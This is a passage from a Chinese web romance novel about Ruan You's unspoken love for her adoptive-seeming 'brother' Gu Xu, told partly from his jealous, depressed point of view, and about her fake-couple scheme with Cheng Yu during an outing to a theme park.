阮柚呼吸忽然慢了半拍。这种眼神她何其熟悉,就像在很小的时候,她望着父母远去的背影,望着他们头也不回的身影,也是一样的眼神。 痛苦挣扎,只是因为怕被彻底遗弃。 她不知道顾叙为什么会露出这样的神情,或许是因为她的动作被错误解读,也或许是两人之间气氛的不对,但无论是什么原因,都足以令阮柚心疼。 阮柚不想看见他露出这样的表情。 沉默的间隙,她伸出来手拥住了顾叙。阮柚紧紧环着少年清瘦的脊背,像是要将身上的体温传送过去。她眼睛酸酸涩涩,靠在顾叙身前说,“哥哥,别想那么多。” 她差点忘了,顾叙他是个病人。即使许多人都不相信,但阮柚清晰无误的知道这点。 阮柚不该将自己的情绪发挥到他的身上。顾叙对她真么好,她无论如何都不该这样。 顾叙却说,“对不起,刚刚吓到你了。” 他也不知道自己是怎么了。也许,他是真的疯了吧。 如果可以,顾叙真的像带着阮柚离开这里。然后去一个只有他们两在的地方。 到那时,他能看见她,她也只能看见他。 可他明白,自己这个想法有多么不堪、多么可怕。 他病了,病入膏肓。 阮柚说,“我是怕你冷,哥哥,你明明就是很冷。” 她边说着,抱住他的力道愈发的紧,甚至好似有那么一瞬,能够听见顾叙颈前的细细脉搏。他们靠的那么近,近到几乎不分彼此、体温相缠。 有那么一刻,阮柚很想告诉他,她真的很喜欢他。喜欢到一直一直想要和他在一起。 若是从前,她一定会说;可如今意识到感情的变质,她却再也开不了口了。 阮柚讨厌现在的自己。 “阮柚。”顾叙静了几秒,却忽然抬起了眼睛,很轻地问了出来,“告诉哥哥,你喜欢的人,是成玉吗?” 他边问,边观察阮柚的神色。却敏锐觉察到少女僵硬的身形。 阮柚闻言怔愣了一瞬。 少年的声音就这样落在了耳畔,清晰无误、直直坠入了心底。 心跳仿若骤然空了半拍。 她放下了手,从顾叙的怀抱里出来,缓慢抬起了视线。 视线就这样交汇。阮柚眼瞳一晃,深深地呼了口气,内心忽地翻涌一股不知名的冲动来。 她对上了顾叙的眼睛,握紧了手心,很轻地反问,“如果是呢?” 如果是呢。 顾叙心中缓慢而毫无情绪地重复了一遍。 并非对这个答案无动于衷。而是早早在内心预演了无数遍。 已然到了麻木的程度。 但他仍是安静了一瞬。安静地思考自己该如何回答这个问题。 阮柚等待着顾叙的答案。 不知为何,她抿紧了唇瓣,心脏莫名地紧张。 她知道自己不该把成玉牵扯进来,但那一刻,她极其幼稚的想知道一个答案。 空气仿佛静默了一瞬。 冷风刮过了脸颊,刮开生冷晦涩的疼。 阮柚抬起了眼睛,就这样同顾叙对上了视线。 少年瞳孔很净,乌黑睫羽拓下细细的阴影,情绪也在光影下看不分明。 阮柚忽然有点猜不懂顾叙。她曾经一直觉得,顾叙是个很容易懂的人,正如她从不在顾叙面前伪装,顾叙也从不会戴着任何的面具对待她。 他们曾经坦诚相待,相安无事、亲密无间。 而不知从何时起,他们都有了不能让对方觉察到的心事。 这种感悟令她不安。就好像……顾叙真的要离自己越来越远了。 周遭静谧至极,只剩了擦在耳畔的风声。 阮柚抿紧了唇瓣,静静等候,就当她以为再也听不到答案的那刻。 晚风卷过眉眼,吹乱了她的鬓角碎发。顾叙伸手替她拨弄回去,动作一如既往的温柔、自然,毫无越界。 他说,“是的话,哥哥就祝福你。” 阮柚闻言,脸色苍白,心也寸寸冷了下来。 / 阮柚强撑着回去,见到宁糖那刻,却再也控制不住地鼻酸起来。 她眼眶红肿,说,“怎么喜欢一个人,这么难呢。” 宁糖虽然不知道具体发生了什么,但她清楚阮柚一定很伤心,自己也开始跟着难受起来。 宁糖试图安慰,“不难的,也许、也许是你还没有认识对的人。 ” 阮柚抖了抖湿漉的睫毛,脑海却仍是不受控的想起顾叙说的那句话。 果然,他真的一点都不在意。 自己究竟是在自作多情什么呢? 他从来都只把自己当成妹妹。更何况顾叙都说了,自己有喜欢的人了。 阮柚这样想着,尝试说服安慰自己。 人生总要向前看,她不该总是沉浸在独角戏中浪费时间。顾叙有自己的人生,她也是。 他们本就该是两条不相交的平行线; 即便偶有交汇,也终究会错行着行驶向不同的地方。 阮柚努力让自己想明白这点。 可是弄巧成拙,她破天荒地失眠了,翻来覆去怎么也睡不着。 最后,她只得戴上了耳机。 静谧的浓夜,阮柚躺在床上,不期听见了熟悉的音乐。 ——《恋人未满》 阮柚抿紧了唇瓣,音乐顺着耳廓流进了心田。 第一次,她听着有了异样的感受。 原来这个曲子,是这个意思啊。 第二天醒来。 天气晴朗,阳光正好。 阮柚一夜没睡好,醒来时头昏脑胀,有点不舒服。宁糖今天有课,早早地去上了课,给阮柚买了早餐,尚且温热。 她还留了张纸条。 阮柚心里一暖,洗漱过后,坐在桌边吃早餐。 吃过了早餐、结束了空腹状态,阮柚感觉状态好多了些。 她拿出了手机,却看到有几条未接通话、还有未读的短信。 是顾叙。 “阮柚,回去了吗?” 是昨夜发来的。 阮柚看了眼时间。 她想了想,对方像是掐着点,正好卡在了她回去的那段时间。 阮柚睫毛闪烁了几下,目光停留在那里数秒。 最终,她伸出了手,手指敲着手机屏幕上的字母按键。 “嗯。回家了。” 阮柚知道。 自己如今所有的难过、心酸、失落,在顾叙面前,都是无法去描述的。 只能自己去消化。 外头日光正好。阮柚用洗衣机转了衣服,拿去了阳台晒。 凉风拂过面颊,空气隐约透来了淡淡的肥皂香,沁人心脾,无声无息。 暖洋洋的日光晒在了身上,逐渐扫去了身上的沉重。 阮柚状态好了很多。她今天上午没课,下午只有一节物理课。 状态恢复,她便收拾了包去练琴。已进入了冬天,路边的树枝都掉干了叶子,只剩下枯枝,日光没了遮掩,就这样全然坠落在了人身上。 人来人往。 阮柚练琴异常专注,仿佛屏蔽了外界所有的声音。 一时间只剩下了琴声。她偶尔却不经常有这样的状态,但西泽先生告诉自己,如果想发自内心的干成一件事,就该用到百分之百的专注力。 专注力。 其实是一件很稀有珍贵的事情。 跟着老师练完了琴,阮柚还剩些了时间。已经到了正午时分,她先打算去附近找点吃的、填饱一下肚子。 阮柚想了想,去了之前去的馄饨店。 上次去的时间已经有点久远了,但是老板娘还是一眼认出了她。 她笑盈盈问,“怎么不穿粉色了,小姑娘?” 阮柚一怔,脸色懵懵然。 “我还是第一次见有人把粉色穿的这么好看。” 老板娘却说。 阮柚闻言,脸颊莫名一热。或许这几天心情过于跌宕起伏,所以如今面对来自几乎陌生人的善意,竟然有点无所适从。她笑了笑,嗓音很轻,“谢谢。” 小馄饨很快端上了桌,冒着薄白的热气。 刚到中午时分,店里几乎没什么人。 阮柚低头吹了吹雾气,又拿勺子荡了荡汤。 散热。 放在桌边的手机这时候响了响。 阮柚定了定神,伸手拿了起来。打开备注,是成玉。 ——还是那日留的联系方式。 阮柚神色一晃。不知为何,刚从难过中走出的她,本能排斥着之前的人和事。 她知道自己不该这样。 但是此时此刻,她抿紧了唇瓣,头一次选择了逃避。 她告诉自己,等会儿吧。等会儿再看。 于是,她选择将手机屏幕暗灭。 馄饨没那么烫了。阮柚像往常一样倒了点醋,又撒了点红油。馄饨有了漂亮的颜色,也令她食欲大增。她低头吃了一个又一个,不知不觉吃完了。 阮柚临走前,老板娘送给她一个同心结。 对方眨了眨眼,“这是我亲手做的,能够带来幸运。” 阮柚受宠若惊,“谢谢,为什么给我呢。” 老板娘笑起来,“因为你很和我眼缘。” 她曾经就很想要一个像她这样漂亮又可爱的女儿。可无奈连生了两个都是男孩,在家里闹腾地快翻了天。见到阮柚,她就忍不住心生喜欢。 阮柚摸着手里的同心结,很想回赠给她什么,掏了掏口袋,却什么都没有。 她和对方说,“我下次来,也要送你我做的手工品。我也很喜欢做这些东西。” 老板娘眼睛一亮,“好呀。” 就好像无形之间,两人有了羁绊。阮柚难以描述自己如今的心情,但是唯一确定一点的是,当她再度走出了馄饨店,心情也比来时更好了许多。 她低下了头,将同心结系在了袖子的纽扣上。 风来了又去,安静涤荡内心,忽然之间,阮柚呼吸一软,那些沉重复杂、绵长晦涩的情绪也好似随着这缕冬风、烟消云散。 这时,她却后知后觉起成玉的短信。 低头从口袋里翻出手机,成玉发来了那条,“想不想做一些有趣的事情。” 有趣。 这个词,阮柚时常从成玉那里听见。他生而洒脱自由、漫不经心。仿佛毕生所求,就是努力让每天都过的不无生趣。她却莫名想起了那夜成玉对自己说的话。 少年逆风疾驰,呼啸的风声却丝毫吞噬不了意气风发的话语。 他说,他要肆意的活。 无缘由地,此时此刻,阮柚万分认同这句话。同时,她知道,自己应该和成玉当面道个歉。毕竟也是她,间接给他的生日留下了不开心的痕迹。 阮柚这样思忖,低了低眸,回了句。 “在哪里。” 令她有点意外的是,成玉如今离他并不远。就在隔壁街的唱片店。 她不知道、也并不怎么好奇成玉为什么会在那里。 但当她到达附近的时候,却看到成玉站在门外等她。 少年戴了个黑色鸭舌帽,微微垂下了头,只露出棱角清晰的下颌线。 阮柚站的远。忽然拥有了从未有过的旁观者视角。她莫名的想,原来成玉不说话时、远远看着这么冷。冷到近乎是难以靠近的程度。 但这个想法仅仅一瞬。 下一秒,成玉若有所觉,抬眼正正好对上了阮柚的视线。 阮柚早有准备,也并没有太惊讶。她很轻地抬了抬唇角,却见对方眼眸亮了亮,渐渐潋滟起笑意来。 一脸的乖觉无害。 仿佛刚刚的冷只是一场错觉。 对上视线,阮柚安静抿唇,一时分不清究竟是错觉,还是少年翻脸太快了。 但她不打算纠结在这点小事上。她来之前就想好了该做什么。 首先,她要道歉、然后真切地祝福对方生日快乐。 毕竟生日一年只有这么一次,尤其重要特别。 再然后,她要问成玉究竟要说什么事情…… 思路很清楚,可现实却骤然打乱了一切、开始重新洗牌。 阮柚刚刚张了张唇,还未说出半个字,成玉便是先一步问,“你有没有吃饭?” 嗯? 阮柚眨了眨眼睛,完全没有意识到成玉会问这个。 她点头。吃了,而且难得吃的很饱。 成玉皱了皱好看的眉头,似乎对这个答案并不怎么满意。他侧了侧视线,笑起来,“我没吃,陪我吧。” 没等阮柚发话,他就这么愉快的决定了。 阮柚就这样跟在成玉身边,陪他去附近吃饭。路上,她抿了抿干涩的唇瓣,终于说出口,“那个……昨天对不起。” 成玉刚开始没听清。 “什么。”他略略侧过了视线,不经意挑眉。 阮柚于是重复了一遍。 这次,成玉倒是听清了。 只是他目光停留在阮柚身上几秒,眼瞳黑漆漆地,一时令人猜不到心情。 其实阮柚有点抗拒他这样。她宁愿希望对方依旧是漫不经心、混不吝的状态,也不喜欢用如此专注的视线看自己。就好像什么都无处遁形。 ——她知道,成玉其实是个很聪明的人。 而这时,成玉喉结滚了下,弯起唇笑,“你为什么要道歉呀。” 少年似乎真的好奇,根根分明的乌睫下尽是专注打量的意味。 阮柚抿唇,然后如实将想法说了出来。她说生日很重要,倘若是自己,被搞砸生日一定会很生气、很难过。 成玉闻言,微微直起了脊背。 他定定看了阮柚几秒,须臾间,勾唇笑,“这算什么啊。” 少年喉结滚动了下,依旧漫不经心的调子,“以前我过生日,我妈发疯把生日蛋糕甩我头上让我滚,都没道歉呢。” 阮柚闻言,呼吸不自觉放轻了下。 她是个不缺想象力的人。 骤然听到成玉这句话,忽地共情心泛滥,忍不住皱起了眉头 。 而正当她想着该如何去安慰成玉的时候,身边的少年忽然笑了笑,好似勾起了不知那里的笑点,笑声清亮,仿佛连胸腔都在颤抖。 阮柚抿紧了唇,不自觉对上了成玉的目光。 视线交汇 少年眉目含笑,眼睛却格外深邃,“我乱说的,你不会真信了吧。” 闻言。 阮柚紧紧捏住手心。泛滥的情绪瞬间一扫而空,鼓了鼓腮帮,忍不住生闷气。 什么跟什么!居然骗人! 但她仍是什么也没说。 只是脚步加快了些。 成玉看她的背影,下一瞬便反应了过来。 少年能屈能伸,态度也瞬间软了下来,想了想说,“我只是想说,我不是那么在意生日。生日对我而言只是一个寻常的日子,嗯……除了大家能聚在一起聊天。” 成玉试图组织语言。 但阮柚却是听明白了。 她定住了步伐,抬头看成玉,眼瞳很认真,“成玉,你今后能答应我一件事么?” 成玉见状,微微一愣。 许是少女眼底的认真感染到了他,成玉也难得收了笑,喉咙莫名发痒,凸起的喉结滚动了下,“嗯,你说。” 阮柚深吸了一口气,语气认真,“你以后能别骗我么。我……没你那么聪明,有时候真的分不清什么是真话、什么是假话。” 她知道很多人爱开玩笑。但阮柚如今不喜欢开玩笑。 因为玩笑半真半假,说的人不认真,听得人也不敢用心。 阮柚不想这样。 成玉闻言一愣。他从未听过、也从未想过这件事。但此时此刻,看着阮柚清凌凌的眼眸,他还是缓慢地点头,“好。” 阮柚陪成玉吃了午饭。 她知道成玉有话要对自己说,也难得的有耐心。 兜里手机响了起来。阮柚拿起来一看,是宁糖发给自己的。 音乐老师发现她的唱歌天赋,决定推荐她参加进入学院即将组办的合唱团。 隔着手机,阮柚能够感受到宁糖的开心。 她也发自内心的为宁糖而骄傲。 低头回消息时,阮柚眼瞳柔和,唇角都带着未曾察觉的笑。 成玉向来是个不屑于打探旁人隐私的人。 但看到阮柚如今的笑意,内心却莫名腾出些许异样的情绪来。 但只是转瞬之间,等到他再度开口,已经消失的无影无踪,“什么事笑得这么开心?” 阮柚分神被抓个现行,莫名地呼吸一紧。她睫毛颤了颤,想了想,如实说,“我有一个朋友,她唱歌很好听,被老师推荐去合唱团了。” 成玉闻言,哦了下。不知为何,胸口那些若有若无的郁气也消散了很多。 “那挺好的。”他回了句,不关心,但也当作捧场。 阮柚也并不觉得成玉会对此有过多的情绪,因此也并不多说。 她抬了抬视线。看少年放下了筷子,也猜中对方已经吃完了。 该进入主题了。 思及此处,阮柚为了表现出认真,还稍稍地左正了一些。她看向了顾叙的眼睛,一字一句地问,“你想说的,是什么事情?” 起初,阮柚其实不怎么好奇。但如今只剩下这件事,事情好似被无形放大了,连带着那丝丝好奇,也渐渐在心底膨胀了起来。阮柚抿唇,真的有些好奇成玉会说些什么了。 成玉闻言,掀起眼皮看她。 比起阮柚的专注,少年倒是显得云淡风轻了许多。 他拿起杯子喝了杯水,挑眉,“真要问?” 阮柚看他喝水,莫名也觉得自己有点口渴。可只是一个眼神,少年似乎便察觉出来,伸出手就给她倒水。 成玉似乎没怎么伺候过人。 倒水时压得很快,等到阮柚反应过来飞速喊停的时候,水已经溢在桌面一片。 阮柚看着,忽然有点想笑。、 成玉放下小水壶,眼底闪过丝丝尴尬,嘴上却说,“要不我重新给你倒?” 阮柚眼瞳明晃晃,“还要重复练习?” 闻言。 成玉莫名噎了一下,头一次感觉出阮柚伶牙俐齿的一面。 阮柚却笑了起来,还是道了声谢谢。其实她之前也是这样,平时十指不沾阳春水,干活也笨手笨脚。但自从她选择住校,什么事几乎都是亲历亲为,也渐渐不会糊涂出错。 想到这里,阮柚恍惚一瞬,为自己无声的成长。 有些事情只有自己亲身经历,才会真正成长。她想。 但眼下,还有想问的事。刚刚话题飘远了,两人都对此始料未及。 阮柚将多出去的水倒在一旁的空盘子,接着问成玉,“到底是什么事情啊,成玉,不要卖关子,你刚刚答应我的。” 她眼瞳格外认真。因为真的很好奇,话也多了起来。 更是故意提到了刚刚的约定。 果不其然。成玉微微坐直了身子,眉头皱了又松开,说,“好吧。” 少年修长的手指缓慢摩梭着杯子,语气缓慢地说,“是我发现了一件事情。” 阮柚继续看他,卷翘的睫毛缓慢频动。 少年则是漫不经心勾了勾唇,而后抬起了视线看她。 四目交接。 很莫名地,阮柚端着杯子,呼吸忽然漏了半拍。 就好像即将听见什么极其超脱想象、出乎意料的事情。 成玉托着半边腮,浅金色的头发软绵绵蓬松,眼尾却拖着似有似无的笑,“你的哥哥,顾叙。” 闻言。阮柚眼睫颤了几下,不知不觉握紧了手中的茶杯。 “怎么了?”她很轻很轻的问,声音是连自己都没有察觉的沉静干涩。 成玉也不打算卖什么关子,对上阮柚的视线,便悠悠开口, ——“他喜欢你。” 四个字准确无误、毫无遗漏的落在了阮柚耳朵里。但她初初听着,却仍然是怀疑起来自己的听觉。她怀疑自己没有听清楚,浑身好似失去了力气,隔了好久好久,才勉强地勾了勾唇,问,“你说什么?” 成玉极其有耐心地重复了一遍。是啊,多有趣的发现。顽劣如他,他就是要和阮柚分享这件事、甚至到了几乎迫不及待的情况。 如果是喜欢、如果是男女之情,那么一切都是说通了。 只是,他觉得这可太有趣了。毕竟,顾叙爱慕的对象,居然是和自己有血缘关系的妹妹。他可是明明白白看过阮柚的资料。 成玉看着阮柚,喉结微滚落,一字一句的说。 阮柚脸色格外苍白,心脏却跳的从未有过的快,就好像要从自己的身体里跳出去一般。她呼吸尤其的滚烫,耳畔却反复回想着成玉刚刚说的话。 顾叙喜欢他,怎么可能? 她一点都没有感觉出来。 但于此同时,脑海却莫名闪过另一道声音。 如果是真的呢。如果是真的,那该有过好? 成玉见她沉默,以为她不信。 于是乎,少年笑起来,提议,“我们玩个游戏,看看我说的对不对,怎么样?” 第95章 第九十五章 顾叙篇 游戏。 直到回到宿舍, 阮柚心跳仍然不平息。 成玉说,他们玩一个游戏。 彼时。 少年单手托腮,发丝浑不经意地拢在指缝, 似笑非笑着提议,“我们假扮情侣,看看他会是什么反应, 怎么样?” 成玉的眼睛注视着她。 四目交接, 他的瞳孔深黑又澄净,仿若出了几分好奇的兴味, 再无旁的情绪。 但哪怕如此,阮柚心跳仍旧止不住跳。 噗通、噗通,如渐重的雨声,淅淅沥沥搅灭了她所有的理智。 她脑海状态近乎归零, 只剩下一个空荡荡的念头—— 顾叙喜欢她,是真的吗? 阮柚不敢去相信, 却犹如打开一个潘多拉的魔盒, 忍不住想要去触碰真相。 她忍不住想。 顾叙, 会不会有那么一瞬, 是真的喜欢她呢? 阮柚是个贪心的人。 从一开始, 她只是贪恋顾叙的好。 但渐渐地,她开始不愿满足——她想要完完全全占据他的一切、包括他的心。 她多希望是真的。 阮柚的心神有点乱,静静坐在了椅子上, 连宁糖喊了自己好几声都没有发现。 直到, 宁糖将剥好的橘子放在她面前。 清爽甜涩的气息似有似无, 却一瞬拉扯回她飘远的思绪,阮柚眼睫颤颤,小声说了句谢谢。 宁糖瞧她。 此刻阮柚脸颊红红的, 她本就生的白,也不擅长掩饰情绪,任谁凑近都能瞧出她的不对劲。 宁糖忍不住问:“怎么了?” 阮柚抬起了视线。 她唇边干干涩涩,索性剥了小瓣橘子吃,味觉感官复苏,她终是彻底找回了几丝清明,“宁糖,我想告诉你一些事情……” 宁糖见她如此,也难免紧张起来,不禁屏气凝神。 而几秒过后。 在听到她说的话以后,宁糖惊愕:“什么?!” — 阳光倾泻下落,心理医生推门而出。 他将症状一五一十告知了顾叙的父亲。 那一位家族说一不二的掌权者。 对方没什么表情变化,只有在听到“严重失眠、自我评价感过低”后忍不住皱起眉头。 他表现的过于平淡,心理医生见状,内心生出一些不解。 但直到走出大门,迎上外面澄净到刺目、与身后阴冷潮湿的空气割裂的日光后,医生才恍然明白过来。 那个眼神。 是冷漠,也是透顶的失望。 顾叙最近喜欢摆弄花花草草。 他看它从嫩芽到新绿、再到枯萎,就好像旁观了一场起承转合,令他找到短暂抽离的灵魂落脚点。 他不正常。 很久以前,他就发现了这一点。 他可以是一件艺术品,但一道道精心雕刻的深痕下,并未滋养出伟岸坚韧的灵魂,而是一片荒原。 向死而生,摇摇欲坠。 但顾叙努力当一个正常人。 他是一个出色的家族继承人,无人能挑出他的任何过错,完美温柔,连微笑都是恰到好处的虚假。 可他早就厌倦了这样的生活。 而唯独这次,上天仿佛听到他的祷告般,让他遇见了阮柚。 他没有办法离开她。 房间没有开灯。 那些自私潮湿的、阴郁且密不透风的情绪如浪潮般翻涌,顷刻撕扯他的理智。 顾叙垂着眼皮,和黑暗融为一体。 他很白,白到几乎病态,脖颈的棘突线条过分的清晰,骨感分明。 他的呼吸起伏不定,指腹摁紧,一双漂亮的灰眼睛死死盯着屏幕。 手机上是一张照片。 照片里,少年少女靠的很近,近到近乎是拥抱依偎的角度。 顾叙眼皮垂下,灰暗的空气里,几乎自我凌虐地看着每一处细节,甚至透过了屏幕,连照片人物的皮肤肌理都要辨个分明。 他们靠的那么近。 他们牵手了吗? 拥抱了吗? 他们,真的在一起了吗? 顾叙的心里是钝钝的疼。 一遍一遍如鬼魅般幻觉的询问,好似附耳逼近,用属于他的声音一声声穿透耳膜,直击内心最深处,落在那抹最见不得光的阴潮角落。 他知道自己不该这么在意。 这样不对,他不该这样。 顾叙目光看着一声声祝福。 他该祝福… 黑暗的房间,顾叙握着手机,弓背曲膝,好似感觉不到疼般渐渐收紧。 他的血是热的,哪怕僵硬着没有任何新的伤痕,却仍感觉血液热地滚烫,寸寸撕咬蚕食着他的神经。 他很痛。 痛到呼吸困难,疼到眼睛无法视物,犹如败家犬一般蜷在了床边,整个人化成幽暗的影。 直到一声碎响。 手机被重重抛远,砸在他最爱的钢琴上。那是他曾最引以为傲的奖励,他曾为此骄傲,如今却只觉索然无味。 他的人生,不过是一场重复的虚无。 而现在,他们要夺走他唯一的色彩。 这,怎么能行呢? 顾叙抬起眼睛,太安静了,他的心跳是那么明显。 刘海有些长了,低头的时候,几乎盖过了眉眼。顾叙几乎什么都看不见。但也正因如此,那道声音那么的彻底,那样清晰,径自闯开了他内心的屏障,破开了一道口子。 顾叙抬头,阖了阖眼。 终于明白过来,这种情绪… 名为嫉妒。 他最亲爱的妹妹,本就该属于他的才是。他最先遇见她的,可凭什么,要让让人捷足先登? 顾叙睁开眼,抵了抵胸口。 就像忽然间想明白了什么,他缓慢低下了头,脊背虚虚靠过了床沿,视线忽然变得很温柔。 她不该被旁人蛊惑。 她值得更好的人,从头到尾,错的只是是捷足先登、见缝插针的那个人。 他没有错,她也没有。 他应该让妹妹回心转意,不要被不好的人引诱。 顾叙想,他应该这样做。 第96章 第九十六章 …… 阮柚已经好些天没有看见顾叙了。 思念在疯狂发酵, 心脏仿若被什么东西攥紧、再松开,如此循环往复着。她时常会想起从前两人相处的时光,纯粹又美好, 她无论如何都没有办法割舍。 可是他甚至不是我的哥哥。 所以,他不会喜欢我。 夜深人静的时候,阮柚这么想。 她何尝不希望他能喜欢自己呢? 哪怕只是一丁点, 就足够令她欢喜至极, 可她却不敢再去做出假设,害怕希望落空、害怕一败涂地。 这份感情令她变得畏手畏脚, 因为比起让他喜欢自己,她更怕失去他。 仿若一下子挑起敏感的神经,所有的感官也在无限放大。 阮柚的情绪混乱无束,横冲直撞寻不到终点。 她花了很长、很长的时间才弄明白自己想要什么, 她只想见到他。 ——哪怕只是看看他。 / 又是一个晴空万里的日子。 阮柚喜欢这样的天气。 空气是清新的,风是软绵绵的, 心也似乎轻飘飘起来, 仿佛能够驱逐一切的阴霾。 但最令她开心的是, 今天的出行约定。 成玉电话里告诉他, 顾叙会来。 度假山庄座落的地方偏远, 坐车前,阮柚看见了顾叙。 几天没见,少年似乎哪里变得有些不一样, 但究竟是哪里, 阮柚也想不清楚。他今日穿着白衣黑裤, 因着畏冷的缘故,脖颈裹着宝蓝色的围巾,衬得肤色更白, 宛若打磨后的暖玉。 顾叙看到她,手指微动,眼尾弯了起来。 成玉道:“也该出来晒晒太阳了。” 顾叙笑了笑,不置可否。 大病初愈,他整个气质更加安静、柔和,一双眼睛就这样注视着阮柚,异样的专注:“这些天,有没有好好练琴。” 阮柚抿抿唇瓣。心紧了一瞬,再松扯,某些柔软的情绪便愈发泛滥不可收拾了。 她嗯了一声,点点头,对视了两秒,无缘由的幽怨也跟着浮现了心头,“哥哥,你为什么不问我其他的呢。” 比如,有没有想你,有没有特别想见你。 话说出口,她就开始后悔自己的鲁莽。 顾叙眼神静了静,一时读不出任何情绪。 阮柚眼睫闪动,指尖重重压压掌心,像一只刺猬想要缩回去,而下一刻,一道陌生的女声响了起来。 顾叙眉心一皱。 阮柚呼吸微微停滞,抬头,便看见一个身形高挑的卷发女生。 有些眼熟。 她站在原地,握紧了手心,忽的什么也说不出来了。 成玉看了阮柚一眼。 女生道,“伯母让我陪你。” 顾叙摇头,“我不需要。” “我刚好也想去散散心。” 女生笑了笑,和他们打招呼。 “你们好,我是孟季雪,是顾叙的……” 她顿了顿,漂亮的红唇弯了起来。 “暂时算是青梅吧。”- 阮柚想,也许一开始,她不该那么期待这次出行。 如果不是太过期待的话,自己也就不会那么的低落了。 但她并未表现出来,而是尽量的融入进去。 装作很开心其实很难,特别对她而言。 成玉似乎看出她的魂不守舍,临时改变了计划,提议去附近新开的的主题游乐园。 成玉:“你不是一直很喜欢那些可爱、梦幻的娃娃么?” 阮柚闻言一怔。 这时,孟季雪说:“成玉,你也有这么体贴的时候啊。” 成玉漫不经心回应:“嗯,分人。” 起了个话题,聊天就绕到了两人的身上。阮柚后知后觉想起那个听起来提议,从前的她只觉得荒谬,但是现在——她看着他们两个人,想起那个听过的传闻,竟开始有点庆幸自己能够以这样的姿态出现在这里。她不至于藏不住那些不能为外人道的隐秘情绪。 阮柚忽地觉得自己有点自私。她不该这么想,却不受控制地这样想。 思绪混乱之际,她不期对上了顾叙的眼睛。 车内密闭却宽敞,少年坐在不远不近的距离,就这样静静地看着她,不知看了多久。 他的眼神很深,就像月下秋潭,干净柔和、却黑漆漆地,触不见底。 阮柚的心脏猛地一跳,宛若触电。 她一刻就挪开了视线,却又对上了成玉,他挑眉问着,“想去么?” 阮柚却莫名觉得空气有些稀薄,她稀里糊涂地点了点头。 顾叙:“我听……你们的。” 孟季雪则看了他一眼。 临时其意的决定,成玉也就没能提前包场。 所幸今日人不多,一切进行的很顺利。主题游乐园是去年新开的,少女心满满的风格,置身其中仿若步入了童话世界,阮柚走进去,却不由想起从前。她和家人们一起逛游乐园的时光,快乐是真的快乐。以至于她想起来,依旧带着些许的怀念。她并不是一个喜欢沉浸在过去的人,想的太多会很累,阮柚不想再有太多负担,既然来了,那就痛痛快快的玩好了。 她很快被路边的彩虹棉花糖吸引了视线。 顾叙最先觉察到这一点,唇角轻轻弯了起来。 他几乎记得她每个喜好,也不想错过她任何幸福的瞬间。 曾经,她拿着棉花糖,眉眼弯弯,漂亮的眼睛就像洗净过后的玻璃珠,纯粹而又明媚,深深地刻在心底。他走近了几步,正欲开口替她买下,却被人抢先一步。 成玉笑吟吟,“阮柚,你想要哪个?” 阮柚眼神一动,唔一声,“你怎么知道我想要?” “你眼睛都直啦。” 竟然是哄小孩的语气。 阮柚摸了摸鼻尖,脸颊莫名有点热。真的有那么明显吗? 好丢脸,显得自己很馋。 她余光下意识看了眼顾叙的方向。 却见他垂眼站在那里,瞧不出喜乐,就像游离的状态。 今天的顾叙比以往更沉默。 阮柚接过棉花糖,心里这么想着,快乐的心情也淡了几许。他是不是,本来就不愿意来呢? 孟季雪看了看那里,莫名几分艳羡。但她一贯骄傲,不想主动去提,可刚刚看向了顾叙,却见他脚步一转,往旁边走了。 见状,她咬牙跟上,“顾叙!” 一下子,阮柚和成玉走在了后面。 阮柚看了眼顾叙头也不回的背影,有些低落。 她吃着棉花糖,甜滋滋的,渐渐在舌尖化开,比以往吃过的都要好吃一些。可阮柚心神落在了不远处,视线也是,那几分甜也是稍纵即逝。 成玉偏头,瞧见少女眼巴巴不争气的模样,想笑,内心深处却又有淡淡的不爽。论姿色,他不比顾叙差,论受欢迎的程度,他比顾叙强上不少,可阮柚偏偏满心满眼都是那人,一眼都不往这边看。 但,等等—— 成玉啧了一声,不由抓了一把蓬松的黑发。 他为什么要和顾叙比? 阮柚不知道成玉在想什么,只是一转头,见他目光灼灼瞧着自己,像是有话要说的样子。她内心闪过一丝疑惑,但接踵而至的是淡淡的愧疚感,于是迟迟地说,“对不起,成玉,我不该让你陪我演戏,今天过后,我会和他们解释……” 她话音未落,成玉满不在乎地打断了她。 “解释什么,戏要演到底才有意思。况且,我们不是约好的么。” 成玉挑挑眉梢,桃花眼潋滟漂亮的光,张扬又恣肆。他仿佛真的对比很感兴趣。可阮柚抿抿唇瓣,想起成玉先前说过的那些令她陷入遐想的话语,心情也渐渐地有些沉寂。 那是不可能的。 顾叙,怎么可能喜欢自己呢。 但喜欢是一件没有道理的事情。既然他不喜欢自己,那她也没必要强求一个结果。 从今往后,试着向前看吧…… 她微微抬了抬唇,看着成玉,心中如此想着。 有酸涩,但更多的是一种释然。 成玉觉察出她情绪的些许变化,正欲说些什么,一道熟悉的声音响了起来。 “阮柚。” 是顾叙。 他去而复返,手里拿着几个毛茸茸的发箍。 阮柚看过去,却见顾叙走了过来,“选一个吧。”、 身影无形覆盖而落,有熟悉的、很淡的清香。 阮柚很久没有离他这么近了,以至于须臾之间,她想到的不是现在,而是从前一幕幕相处的瞬间——她握着他手的时候,他背着自己的时候,他们依偎在一起的时候、还有初见时,那个寒冷而又寂寥的雨夜,他朝着自己走过来的时候。 阮柚的呼吸一下子变得很轻。她微微屏住呼吸,低低地嗯了一声 她看中的是一个猫耳发箍。可刚要拿过去时,孟季雪走了过来,哇了一声,“这个好漂亮啊!顾叙,能送给我么。” 阮柚手指颤了一颤,就像从一场梦境中骤然苏醒。 成玉:“还没轮到你选呢。” “可是我真的很喜欢。” 孟季雪对阮柚说,“阮柚,你能让给我吗?” 阮柚眨了眨眼睛。 她其实很熟悉这样的对话,一个‘让’字,她听过太多太多遍。从前在家里是,如今也是。 他们都想要自己懂事。 阮柚眼睫低了一低,那几分期待也渐渐散去。她之前就听过,孟季雪是顾家为顾叙选定的未婚妻。即使她再不问世事,也知道未婚妻是什么——他们会步入婚姻的殿堂,相伴一生。 阮柚彻底地醒来。 她嗯了一声,可下一瞬,发顶处稍稍一紧。 她眼睛眨了眨。 顾叙站在她的对面,逆着光,下颌线柔和干净,“可我想送给你。” / 气氛忽地有些怪异。 阮柚戴着发箍,毛茸茸的猫耳挂在头顶,愈发显得可爱清纯。 一路收获数不清的关注。 成玉侧目看了看,莫名喉咙发紧。 想捏。 但他忍住。 过山车性质的刺激项目,阮柚并没有体验过。 而这次却有些跃跃欲试,或许是今日天气太好,也或许是不想错过今天。 但成玉没什么兴致。他有点恐高,虽然自己不愿意承认。 